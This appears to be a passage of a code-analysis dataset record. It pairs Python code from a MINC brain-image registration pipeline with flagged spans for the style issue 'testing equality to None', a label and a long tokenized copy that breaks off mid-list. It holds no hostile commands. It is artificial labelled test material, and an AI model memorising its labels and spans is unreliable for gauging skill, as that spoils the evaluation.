'LSQ12ANTSNlin', ':', '___EOS___']", "index": 52 }, { "content": " def __init__(self, \n inputFH, \n targetFH,\n lsq12_protocol=None,\n nlin_protocol=None,\n includeLinear = True,\n subject_matter = None, \n defaultDir=\"tmp\"):\n \n self.p = Pipeline()\n self.inputFH = inputFH\n self.targetFH = targetFH\n self.lsq12_protocol = lsq12_protocol\n self.nlin_protocol = nlin_protocol\n self.includeLinear = includeLinear\n self.subject_matter = subject_matter\n self.defaultDir = defaultDir\n \n if ((self.lsq12_protocol == None and self.subject_matter==None) or self.nlin_protocol == None):\n # the resolution of the registration should be based on the target\n self.fileRes = rf.returnFinestResolution(self.targetFH)\n else:\n self.fileRes = None\n \n self.buildPipeline()", "metadata": "root.HierarchicalMinctracc.__init__", "header": "['class', 'HierarchicalMinctracc', ':', '___EOS___']", "index": 133 }, { "content": " def buildPipeline(self):\n lsq12LikeFH = None \n resolutionForLSQ12 = None\n if self.initModel:\n lsq12LikeFH = self.initModel[0]\n elif self.options.lsq12_likeFile: \n lsq12LikeFH = self.options.lsq12_likeFile \n \n if lsq12LikeFH == None and self.options.lsq12_subject_matter == None and self.providedResolution == None:\n print(\"\\nError: the FullIterativeLSQ12Nlin module was called without specifying either an initial model, nor an lsq12_subject_matter. Currently that means that the code can not determine the resolution at which the registrations should be run. Please specify one of the two. Exiting\\n\")\n sys.exit()\n \n if not (lsq12LikeFH == None):\n resolutionForLSQ12 = rf.returnFinestResolution(lsq12LikeFH)\n\n if resolutionForLSQ12 == None and self.providedResolution == None:\n print(\"\\nError: the resolution at which the LSQ12 and the NLIN registration should be run could not be determined from either the initial model nor the LSQ12 like file. Please provide the fileResolution to the FullIterativeLSQ12Nlin module. Exiting\\n\")\n sys.exit()\n \n if resolutionForLSQ12 == None and self.providedResolution:\n resolutionForLSQ12 = self.providedResolution\n \n lsq12module = lsq12.FullLSQ12(self.inputs,\n self.dirs.lsq12Dir,\n queue_type=self.options.queue_type,\n likeFile=lsq12LikeFH,\n maxPairs=self.options.lsq12_max_pairs,\n lsq12_protocol=self.options.lsq12_protocol,\n subject_matter=self.options.lsq12_subject_matter,\n resolution=resolutionForLSQ12)\n lsq12module.iterate()\n self.p.addPipeline(lsq12module.p)\n self.lsq12Params = lsq12module.lsq12Params\n if lsq12module.lsq12AvgFH.getMask()== None:\n if self.initModel:\n lsq12module.lsq12AvgFH.setMask(self.initModel[0].getMask())\n if not self.avgPrefix:\n self.avgPrefix = self.options.pipeline_name\n # same as in MBM.py:\n # for now we can use the same resolution for the NLIN stages as we did for the \n # LSQ12 stage. At some point we should look into the subject matter option...\n nlinModule = nlin.initializeAndRunNLIN(self.dirs.lsq12Dir,\n self.inputs,\n self.dirs.nlinDir,\n avgPrefix=self.avgPrefix, \n createAvg=False,\n targetAvg=lsq12module.lsq12AvgFH,\n nlin_protocol=self.options.nlin_protocol,\n reg_method=self.options.reg_method,\n resolution=resolutionForLSQ12)\n self.p.addPipeline(nlinModule.p)\n self.nlinFH = nlinModule.nlinAverages[-1]\n self.nlinParams = nlinModule.nlinParams\n self.initialTarget = nlinModule.initialTarget\n # Now we need the full transform to go back to LSQ6 space\n for i in self.inputs:\n linXfm = lsq12module.lsq12AvgXfms[i]\n nlinXfm = i.getLastXfm(self.nlinFH)\n outXfm = st.createOutputFileName(i, nlinXfm, \"transforms\", \"_with_additional.xfm\")\n xc = ma.xfmConcat([linXfm, nlinXfm], outXfm, fh.logFromFile(i.logDir, outXfm))\n self.p.addStage(xc)\n i.addAndSetXfmToUse(self.nlinFH, outXfm)", "metadata": "root.FullIterativeLSQ12Nlin.buildPipeline", "header": "['class', 'FullIterativeLSQ12Nlin', ':', '___EOS___']", "index": 216 }, { "content": " def __init__(self, \n inputFiles, \n createMontage=True,\n montageOutPut=None,\n scalingFactor=20,\n message=\"lsq6\"):\n self.p = Pipeline()\n self.individualImages = []\n self.individualImagesLabeled = [] \n self.message = message\n\n if createMontage and montageOutPut == None:\n print(\"\\nError: createMontage is specified in createQualityControlImages, but no output name for the montage is provided. Exiting...\\n\")\n sys.exit()\n\n # for each of the input files, run a mincpik call and create \n # a triplane image.\n for inFile in inputFiles:\n if isFileHandler(inFile):\n # create command using last base vol\n inputToMincpik = inFile.getLastBasevol()\n outputMincpik = createBaseName(inFile.tmpDir,\n removeBaseAndExtension(inputToMincpik) + \"_QC_image.png\")\n cmd = [\"mincpik\", \"-clobber\",\n \"-scale\", scalingFactor,\n \"-triplanar\",\n InputFile(inputToMincpik),\n OutputFile(outputMincpik)]\n mincpik = CmdStage(cmd)\n mincpik.setLogFile(LogFile(logFromFile(inFile.logDir, outputMincpik)))\n self.p.addStage(mincpik)\n self.individualImages.append(outputMincpik)\n # we should add a label to each of the individual images\n # so it will be easier for the user to identify what\n # which images potentially fail\n outputConvert = createBaseName(inFile.tmpDir, \n removeBaseAndExtension(inputToMincpik) + \"_QC_image_labeled.png\")\n cmdConvert = [\"convert\", \"-label\", inFile.basename,\n InputFile(outputMincpik),\n OutputFile(outputConvert)]\n convertAddLabel = CmdStage(cmdConvert)\n convertAddLabel.setLogFile(LogFile(logFromFile(inFile.logDir, outputConvert)))\n self.p.addStage(convertAddLabel)\n self.individualImagesLabeled.append(outputConvert)\n\n # if montageOutput is specified, create the overview image\n if createMontage:\n cmdmontage = [\"montage\", \"-geometry\", \"+2+2\"] \\\n + map(InputFile, self.individualImagesLabeled) + [OutputFile(montageOutPut)]\n montage = CmdStage(cmdmontage)\n montage.setLogFile(splitext(montageOutPut)[0] + \".log\")\n message_to_print = \"\\n* * * * * * *\\nPlease consider the following verification \"\n message_to_print += \"image, which shows a slice through all input \"\n message_to_print += \"files %s. \" % self.message\n message_to_print += \"\\n%s\\n\" % (montageOutPut)\n message_to_print += \"* * * * * * *\\n\"\n # the hook needs a return. Given that \"print\" does not return\n # anything, we need to encapsulate the print statement in a \n # function (which in this case will return None, but that's fine)\n def printMessageForMontage():\n print(message_to_print)\n montage.finished_hooks.append(\n lambda : printMessageForMontage())\n self.p.addStage(montage)", "metadata": "root.createQualityControlImages.__init__", "header": "['class', 'createQualityControlImages', '(', 'object', ')', ':', '___EOS___']", "index": 468 } ]
[ { "span": "self.lsq12_protocol == None ", "start_line": 68, "start_column": 13, "end_line": 68, "end_column": 40 }, { "span": "self.subject_matter==None)", "start_line": 68, "start_column": 45, "end_line": 68, "end_column": 70 }, { "span": "self.nlin_protocol == None)", "start_line": 68, "start_column": 75, "end_line": 68, "end_column": 101 }, { "span": "self.lsq12_protocol == None ", "start_line": 151, "start_column": 13, "end_line": 151, "end_column": 40 }, { "span": "self.subject_matter==None)", "start_line": 151, "start_column": 45, "end_line": 151, "end_column": 70 }, { "span": "self.nlin_protocol == None)", "start_line": 151, "start_column": 75, "end_line": 151, "end_column": 101 }, { "span": "lsq12LikeFH == None ", "start_line": 224, "start_column": 11, "end_line": 224, "end_column": 30 }, { "span": "self.options.lsq12_subject_matter == None ", "start_line": 224, "start_column": 35, "end_line": 224, "end_column": 76 }, { "span": "self.providedResolution == None:", "start_line": 224, "start_column": 81, "end_line": 224, "end_column": 112 }, { "span": "lsq12LikeFH == None)", "start_line": 228, "start_column": 16, "end_line": 228, "end_column": 35 }, { "span": "resolutionForLSQ12 == None ", "start_line": 231, "start_column": 11, "end_line": 231, "end_column": 37 }, { "span": "self.providedResolution == None:", "start_line": 231, "start_column": 42, "end_line": 231, "end_column": 73 }, { "span": "resolutionForLSQ12 == None ", "start_line": 235, "start_column": 11, "end_line": 235, "end_column": 37 }, { "span": "lsq12module.lsq12AvgFH.getMask()== None:", "start_line": 249, "start_column": 11, "end_line": 249, "end_column": 50 }, { "span": "montageOutPut == None:", "start_line": 479, "start_column": 29, "end_line": 479, "end_column": 50 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "LS", "Q1", "2", "ANT", "SN", "lin_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "input", "FH", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "target", "FH", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ls", "q1", "2", "\\u", "protocol_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "nli", "n", "\\u", "protocol_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "subject", "\\u", "matte", "r_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default", "Dir_", "=_", "\"", "tmp", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "p_", "=_", "Pipeline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "input", "FH", "_", "=_", "input", "FH", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "target", "FH", "_", "=_", "target", "FH", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ls", "q1", "2", "\\u", "protocol_", "=_", "ls", "q1", "2", "\\u", "protocol_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "nli", "n", "\\u", "protocol_", "=_", "nli", "n", "\\u", "protocol_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "subject", "\\u", "matte", "r_", "=_", "subject", "\\u", "matte", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "default", "Dir_", "=_", "default", "Dir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "(_", "self_", "._", "ls", "q1", "2", "\\u", "protocol_", "==_", "None_", "and_", "self_", "._", "subject", "\\u", "matte", "r_", "==_", "None_", ")_", "or_", "self_", "._", "nli", "n", "\\u", "protocol_", "==_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "alw", "ay", "s", " ", "base", " ", "the", " ", "resolu", "tion", " ", "to", " ", "be", " ", "used", " ", "on", " ", "the", " ", "target", " ", "for", " ", "the", " ", "registration", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "file", "Res_", "=_", "rf_", "._", "return", "Fin", "est", "Resolution_", "(_", "self_", "._", "target", "FH", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "file", "Res_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "build", "Pipeline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hier", "archi", "cal", "Min", "ctr", "acc_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "input", "FH", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "target", "FH", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ls", "q1", "2", "\\u", "protocol_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "nli", "n", "\\u", "protocol_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "include", "Linear_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "subject", "\\u", "matte", "r_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "default", "Dir_", "=_", "\"", "tmp", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "p_", "=_", "Pipeline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "input", "FH", "_", "=_", "input", "FH", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "target", "FH", "_", "=_", "target", "FH", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ls", "q1", "2", "\\u", "protocol_", "=_", "ls", "q1", "2", "\\u", "protocol_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "nli", "n", "\\u", "protocol_", "=_", "nli", "n", "\\u", "protocol_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "include", "Linear_", "=_", "include", "Linear_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "subject", "\\u", "matte", "r_", "=_", "subject", "\\u", "matte", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "default", "Dir_", "=_", "default", "Dir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "(_", "self_", "._", "ls", "q1", "2", "\\u", "protocol_", "==_", "None_", "and_", "self_", "._", "subject", "\\u", "matte", "r_", "==_", "None_", ")_", "or_", "self_", "._", "nli", "n", "\\u", "protocol_", "==_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "resolu", "tion", " ", "of", " ", "the", " ", "registration", " ", "shou", "ld", " ", "be", " ", "based", " ", "on", " ", "the", " ", "target_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "file", "Res_", "=_", "rf_", "._", "return", "Fin", "est", "Resolution_", "(_", "self_", "._", "target", "FH", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "file", "Res_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "build", "Pipeline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Full", "Iterat", "ive", "LS", "Q1", "2", "Nl", "in_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "Pipeline_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ls", "q1", "2", "Lik", "e", "FH", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resolu", "tion", "For", "LS", "Q1", "2_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "init", "Model_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ls", "q1", "2", "Lik", "e", "FH", "_", "=_", "self_", "._", "init", "Model_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "options_", "._", "ls", "q1", "2", "\\u", "like", "File_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ls", "q1", "2", "Lik", "e", "FH", "_", "=_", "self_", "._", "options_", "._", "ls", "q1", "2", "\\u", "like", "File_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ls", "q1", "2", "Lik", "e", "FH", "_", "==_", "None_", "and_", "self_", "._", "options_", "._", "ls", "q1", "2", "\\u", "subject", "\\u", "matte", "r_", "==_", "None_", "and_", "self_", "._", "provided", "Resolution_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"\\\\", "n", "Error", ":", " ", "the", " ", "Full", "Iterat", "ive", "LS", "Q1", "2", "Nl", "in", " ", "module", " ", "was", " ", "call", "ed", " ", "with", "out", " ", "speci", "fy", "ing", " ", "eit", "her", " ", "an", " ", "initial", " ", "model", ",", " ", "nor", " ", "an", " ", "ls", "q1", "2", "\\u", "subject", "\\u", "matte", "r", ".", " ", "Curr", "ent", "ly", " ", "tha", "t", " ", "means", " ", "tha", "t", " ", "the", " ", "code", " ", "can", " ", "not", " ", "dete", "rmin", "e", " ", "the", " ", "resolu", "tion", " ", "at", " ", "whi", "ch", " ", "the", " ", "registration", "s", " ", "shou", "ld", " ", "be", " ", "run", ".", " ", "Ple", "ase", " ", "speci", "fy", " ", "one", " ", "of", " ", "the", " ", "two", ".", " ", "Exi", "ting", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "(_", "ls", "q1", "2", "Lik", "e", "FH", "_", "==_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resolu", "tion", "For", "LS", "Q1", "2_", "=_", "rf_", "._", "return", "Fin", "est", "Resolution_", "(_", "ls", "q1", "2", "Lik", "e", "FH", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "resolu", "tion", "For", "LS", "Q1", "2_", "==_", "None_", "and_", "self_", "._", "provided", "Resolution_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"\\\\", "n", "Error", ":", " ", "the", " ", "resolu", "tion", " ", "at", " ", "whi", "ch", " ", "the", " ", "LS", "Q1", "2", " ", "and", " ", "the", " ", "NL", "IN", " ", "registration", " ", "shou", "ld", " ", "be", " ", "run", " ", "coul", "d", " ", "not", " ", "be", " ", "dete", "rmin", "ed", " ", "from", " ", "eit", "her", " ", "the", " ", "initial", " ", "model", " ", "nor", " ", "the", " ", "LS", "Q1", "2", " ", "like", " ", "file", ".", " ", "Ple", "ase", " ", "provide", " ", "the", " ", "file", "Reso", "luti", "on", " ", "to", " ", "the", " ", "Full", "Iterat", "ive", "LS", "Q1", "2", "Nl", "in", " ", "module", ".", " ", "Exi", "ting", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "resolu", "tion", "For", "LS", "Q1", "2_", "==_", "None_", "and_", "self_", "._", "provided", "Resolution_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resolu", "tion", "For", "LS", "Q1", "2_", "=_", "self_", "._", "provided", "Resolution_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ls", "q1", "2m", "odule_", "=_", "ls", "q1", "2_", "._", "Full", "LS", "Q1", "2_", "(_", "self_", "._", "inputs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "dirs_", "._", "ls", "q1", "2", "Dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "queue", "\\u", "type_", "=_", "self_", "._", "options_", "._", "queue", "\\u", "type_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "like", "File_", "=_", "ls", "q1", "2", "Lik", "e", "FH", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Pairs_", "=_", "self_", "._", "options_", "._", "ls", "q1", "2", "\\u", "max", "\\u", "pairs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ls", "q1", "2", "\\u", "protocol_", "=_", "self_", "._", "options_", "._", "ls", "q1", "2", "\\u", "protocol_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "subject", "\\u", "matte", "r_", "=_", "self_", "._", "options_", "._", "ls", "q1", "2", "\\u", "subject", "\\u", "matte", "r_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "resolution_", "=_", "resolu", "tion", "For", "LS", "Q1", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ls", "q1", "2m", "odule_", "._", "iterate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p_", "._", "add", "Pipeline_", "(_", "ls", "q1", "2m", "odule_", "._", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ls", "q1", "2", "Params_", "=_", "ls", "q1", "2m", "odule_", "._", "ls", "q1", "2", "Params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ls", "q1", "2m", "odule_", "._", "ls", "q1", "2", "Av", "g", "FH", "_", "._", "get", "Mask_", "(_", ")_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "init", "Model_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ls", "q1", "2m", "odule_", "._", "ls", "q1", "2", "Av", "g", "FH", "_", "._", "set", "Mask_", "(_", "self_", "._", "init", "Model_", "[_", "0_", "]_", "._", "get", "Mask_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "avg", "Prefix_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "avg", "Prefix_", "=_", "self_", "._", "options_", "._", "pipeline", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "same", " ", "as", " ", "in", " ", "MB", "M", ".", "py", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "now", " ", "we", " ", "can", " ", "use", " ", "the", " ", "same", " ", "resolu", "tion", " ", "for", " ", "the", " ", "NL", "IN", " ", "stage", "s", " ", "as", " ", "we", " ", "did", " ", "for", " ", "the", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "LS", "Q1", "2", " ", "stage", ".", " ", "At", " ", "some", " ", "point", " ", "we", " ", "shou", "ld", " ", "look", " ", "int", "o", " ", "the", " ", "subject", " ", "matte", "r", " ", "option", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "nli", "n", "Module_", "=_", "nli", "n_", "._", "initialize", "And", "Run", "NL", "IN_", "(_", "self_", "._", "dirs_", "._", "ls", "q1", "2", "Dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "inputs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "dirs_", "._", "nli", "n", "Dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "avg", "Prefix_", "=_", "self_", "._", "avg", "Prefix_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "create", "Avg_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "target", "Avg_", "=_", "ls", "q1", "2m", "odule_", "._", "ls", "q1", "2", "Av", "g", "FH", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "nli", "n", "\\u", "protocol_", "=_", "self_", "._", "options_", "._", "nli", "n", "\\u", "protocol_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reg", "\\u", "method_", "=_", "self_", "._", "options_", "._", "reg", "\\u", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "resolution_", "=_", "resolu", "tion", "For", "LS", "Q1", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p_", "._", "add", "Pipeline_", "(_", "nli", "n", "Module_", "._", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "nli", "n", "FH", "_", "=_", "nli", "n", "Module_", "._", "nli", "n", "Average", "s_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "nli", "n", "Params_", "=_", "nli", "n", "Module_", "._", "nli", "n", "Params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "initial", "Target_", "=_", "nli", "n", "Module_", "._", "initial", "Target_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", "w", " ", "we", " ", "need", " ", "the", " ", "full", " ", "transform", " ", "to", " ", "go", " ", "back", " ", "to", " ", "LS", "Q", "6", " ", "space_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "self_", "._", "inputs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lin", "Xf", "m_", "=_", "ls", "q1", "2m", "odule_", "._", "ls", "q1", "2", "Av", "g", "Xf", "ms_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nli", "n", "Xf", "m_", "=_", "i_", "._", "get", "Las", "t", "Xf", "m_", "(_", "self_", "._", "nli", "n", "FH", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "Xf", "m_", "=_", "st_", "._", "create", "Output", "File", "Name_", "(_", "i_", ",_", "nli", "n", "Xf", "m_", ",_", "\"", "transform", "s", "\"_", ",_", "\"\\u", "with", "\\u", "addition", "al", ".", "xf", "m", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xc_", "=_", "ma_", "._", "xf", "m", "Concat", "_", "(_", "[_", "lin", "Xf", "m_", ",_", "nli", "n", "Xf", "m_", "]_", ",_", "out", "Xf", "m_", ",_", "fh_", "._", "log", "Fro", "m", "File_", "(_", "i_", "._", "log", "Dir_", ",_", "out", "Xf", "m_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p_", "._", "add", "Stage_", "(_", "xc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "._", "add", "And", "Set", "Xf", "m", "To", "Use_", "(_", "self_", "._", "nli", "n", "FH", "_", ",_", "out", "Xf", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "create", "Qual", "it", "y", "Control", "Images_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "input", "Files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "create", "Mont", "age_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mont", "age", "Out", "Put", "_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "scal", "ing", "Factor_", "=_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "=_", "\"", "ls", "q", "6", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "p_", "=_", "Pipeline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "individual", "Images_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "individual", "Image", "s", "Label", "ed_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "message_", "=_", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "create", "Mont", "age_", "and_", "mont", "age", "Out", "Put", "_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"\\\\", "n", "Error", ":", " ", "create", "Mont", "age", " ", "is", " ", "specified", " ", "in", " ", "create", "Qual", "it", "y", "Control", "Image", "s", ",", " ", "but", " ", "no", " ", "output", " ", "name", " ", "for", " ", "the", " ", "mont", "age", " ", "is", " ", "provided", ".", " ", "Exi", "ting", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "each", " ", "of", " ", "the", " ", "input", " ", "files", ",", " ", "run", " ", "a", " ", "min", "cpi", "k", " ", "call", " ", "and", " ", "create", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "trip", "lan", "e", " ", "image", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "in", "File_", "in_", "input", "Files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "is", "File", "Handler_", "(_", "in", "File_", ")_", ":_", 